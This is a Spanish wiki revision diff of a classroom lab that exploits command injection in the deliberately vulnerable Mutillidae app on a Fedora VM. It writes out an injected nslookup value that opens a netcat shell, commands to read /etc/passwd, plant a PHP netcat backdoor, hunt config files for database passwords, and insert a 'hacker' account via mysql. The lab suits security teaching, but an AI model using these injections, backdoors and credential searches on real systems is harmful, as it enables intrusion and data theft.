Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
sad:fedora14:p3 [2018/01/28 10:28] José Manuel Guallar |
sad:fedora14:p3 [2019/01/04 13:18] (actual) |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
+ | ====== Inyección de comandos Netcat ====== | ||
+ | |||
**¿Qué es Inyección de Comando?** | **¿Qué es Inyección de Comando?** | ||
Línea 28: | Línea 30: | ||
* Llevar a cabo el reconocimiento de la base de datos | * Llevar a cabo el reconocimiento de la base de datos | ||
* Agregue un usuario a la tabla nowasp. accounts. | * Agregue un usuario a la tabla nowasp. accounts. | ||
+ | |||
+ | Lo primero de todo voy a ver que ip tiene cada una de las maquinas | ||
+ | * Fedora tiene 192.168.153.39 | ||
+ | * BT tiene 192.168.153.43 | ||
+ | |||
+ | {{:sad:fedora:p3:1.png?500|}} | ||
+ | |||
+ | Vamos como el ejercicio anterior a http://ip-fedora/mutillidae y seleccionamos | ||
+ | |||
+ | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
+ | |||
+ | |||
A continuación, vamos a ejecutar NetCat a la prueba nslookup LOL | A continuación, vamos a ejecutar NetCat a la prueba nslookup LOL | ||
Línea 33: | Línea 47: | ||
Instrucciones: | Instrucciones: | ||
<code basH> | <code basH> | ||
- | www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444> /tmp/pipe | + | www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe |
</code> | </code> | ||
- | Hacemos un FIFO llamada pipe. | + | ** Hacemos un FIFO llamada pipe.** |
Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | ||
Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
- | <code bash> | + | |
- | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
- | </code> | + | |
+ | |||
+ | {{:sad:fedora:p3:2.png?500|}} | ||
+ | {{:sad:fedora:p3:3.png?500|}} | ||
**NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
Línea 57: | Línea 74: | ||
Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
- | Reemplazar 192.168.1.111 con la dirección IP de Fedora. | + | Reemplazar la ip con la dirección IP de tu Fedora. |
+ | |||
+ | <code bash> | ||
+ | root@bt:~# nc 192.168.153.39 4444 | ||
+ | </code> | ||
- | **nc 192.168.1.111 4444** | + | {{:sad:fedora:p3:04.png?500|}} |
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
- | **hostname** | + | ''**hostname**'' |
Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
- | **whoami** | + | ''**whoami**'' |
Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
- | **pwd** | + | ''**pwd**'' |
directorio de trabajo | directorio de trabajo | ||
- | **uname -a** | + | ''**uname -a**'' |
- | muestra informacion del sistema operatico | + | muestra informacion del sistema operativo |
- | **cat /etc/passwd > passwd.txt** | + | ''**cat /etc/passwd > passwd.txt**'' |
crea passwd.txt localizado en /var/www/html/multillidae | crea passwd.txt localizado en /var/www/html/multillidae | ||
- | ls -l $PWD/passwd.txt | + | |
+ | ''**ls -l $PWD/passwd.txt**'' | ||
lista el fichero passwd.txt | lista el fichero passwd.txt | ||
+ | |||
+ | {{:sad:fedora:p3:05.png?500|}} | ||
**volvemos al Firefox y abrimos otra pestaña y escribimos** | **volvemos al Firefox y abrimos otra pestaña y escribimos** | ||
- | http://ip-fedora/mutillidae/passwd.txt | + | ''** http://ip-fedora/mutillidae/passwd.txt**'' |
+ | |||
+ | {{:sad:fedora:p3:06.png?500|}} | ||
====== Creación de una puerta trasera (PHP) ====== | ====== Creación de una puerta trasera (PHP) ====== | ||
Línea 95: | Línea 121: | ||
Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
- | Ahora podemos crear un archivo en el servidor web Apache en el directorio /var/www/html/mutillidae. | + | Ahora podemos crear un script en el servidor web Apache en el directorio /var/www/html/mutillidae, que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. |
- | + | ||
- | Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. | + | |
<code bash> | <code bash> | ||
Línea 107: | Línea 131: | ||
</code> | </code> | ||
- | http://ip-fedora/multillidae/nc_connect.php | + | {{:sad:fedora:p3:07.png?500|}} |
+ | |||
+ | ''**http://ip-fedora/mutillidae/nc_connect.php**'' | ||
- | Ejecutamos nc_connect.php | + | Ejecutamos **nc_connect.php** |
- | http://ip-fedora/multillidae/nc_connect.php | + | ''**http://ip-fedora/mutillidae/nc_connect.php**'' |
veremos que en la web pone conectando..... | veremos que en la web pone conectando..... | ||
Línea 119: | Línea 145: | ||
<code bash> | <code bash> | ||
- | root@bt:~# nc 192.168.1.111 3333 | + | root@bt:~# nc 192.168.153.39 3333 |
whoami | whoami | ||
ps -eaf | egrep '(3333|4444)' | ps -eaf | egrep '(3333|4444)' | ||
Línea 125: | Línea 151: | ||
</code> | </code> | ||
- | las dos primeras lineas es la ejecución del netcat via nslookup | + | {{:sad:fedora:p3:08.png?500|}} |
+ | {{:sad:fedora:p3:09.png?500|}} | ||
+ | |||
+ | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
las ultimas lineas el la puerta trasera | las ultimas lineas el la puerta trasera | ||
Línea 133: | Línea 162: | ||
primero vamos a ver nuestro directorio de trabajo | primero vamos a ver nuestro directorio de trabajo | ||
- | **pwd** | + | ''**pwd**'' |
+ | |||
+ | luego vamos a contar los scripts\\ | ||
- | luego vamos a contar los scripts | + | ''**find * -name "*.php" | wc -l**'' |
- | **find * -name "*.php" | wc -l** | + | despues vamos a contar los archivos incluye de php\\ |
- | despues vamos a contar los archivos include de php | + | ''**find * -name "*.inc" | wc -l**'' |
- | **find * -name "*.inc" | wc -l** | + | lo siguiente sera buscar en cada archivo include (.inc) las palabras "password" "db" o "database"\\ |
- | lo siguiente sera buscar en cada archivo include (.inc) las palabras "password" "db" o "database" | + | {{:sad:fedora:p3:10.png?500|}} |
<code bash> | <code bash> | ||
Línea 156: | Línea 187: | ||
**egrep -i '(db|database)'** buscar las cadenas db o database | **egrep -i '(db|database)'** buscar las cadenas db o database | ||
+ | |||
+ | {{:sad:fedora:p3:11.png?500|}} | ||
<code bash> | <code bash> | ||
Línea 161: | Línea 194: | ||
</code> | </code> | ||
+ | {{:sad:fedora:p3:12.png?500|}} | ||
ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
Línea 168: | Línea 202: | ||
find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10 | find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10 | ||
</code> | </code> | ||
+ | {{:sad:fedora:p3:13.png?500|}} | ||
El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
Línea 176: | Línea 211: | ||
</code> | </code> | ||
- | vamos a investigar el contenido de la tabla accounts | + | {{:sad:fedora:p3:14.png?500|}} |
+ | |||
+ | Vamos a investigar el contenido de la tabla accounts | ||
primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
Línea 185: | Línea 222: | ||
</code> | </code> | ||
- | ahora vamos a crear un nuevo usuario en la tabla | + | {{:sad:fedora:p3:15.png?500|}} |
+ | |||
+ | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
<code bash> | <code bash> | ||
- | echo "insert into nowasp.accounts values (null,'hacker_nombre','p4sSw0rd!','H4ck','TRUE');" | mysql -uroot -psamurai | + | echo "insert into nowasp.accounts values (null,'hacker_jm','p4sSw0rd!','H4ck','TRUE');" | mysql -uroot -psamurai |
echo "select * from nowasp.accounts;" | mysql -uroot -psamurai | echo "select * from nowasp.accounts;" | mysql -uroot -psamurai | ||
</code> | </code> | ||
+ | {{:sad:fedora:p3:16.png?500|}} | ||
+ | |||
''** print de pantalla final**'' | ''** print de pantalla final**'' | ||
- | Tienes que realizar los siguientes pasos en el terminal de netcat nc_config.php | + | Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php |
<code bash> | <code bash> |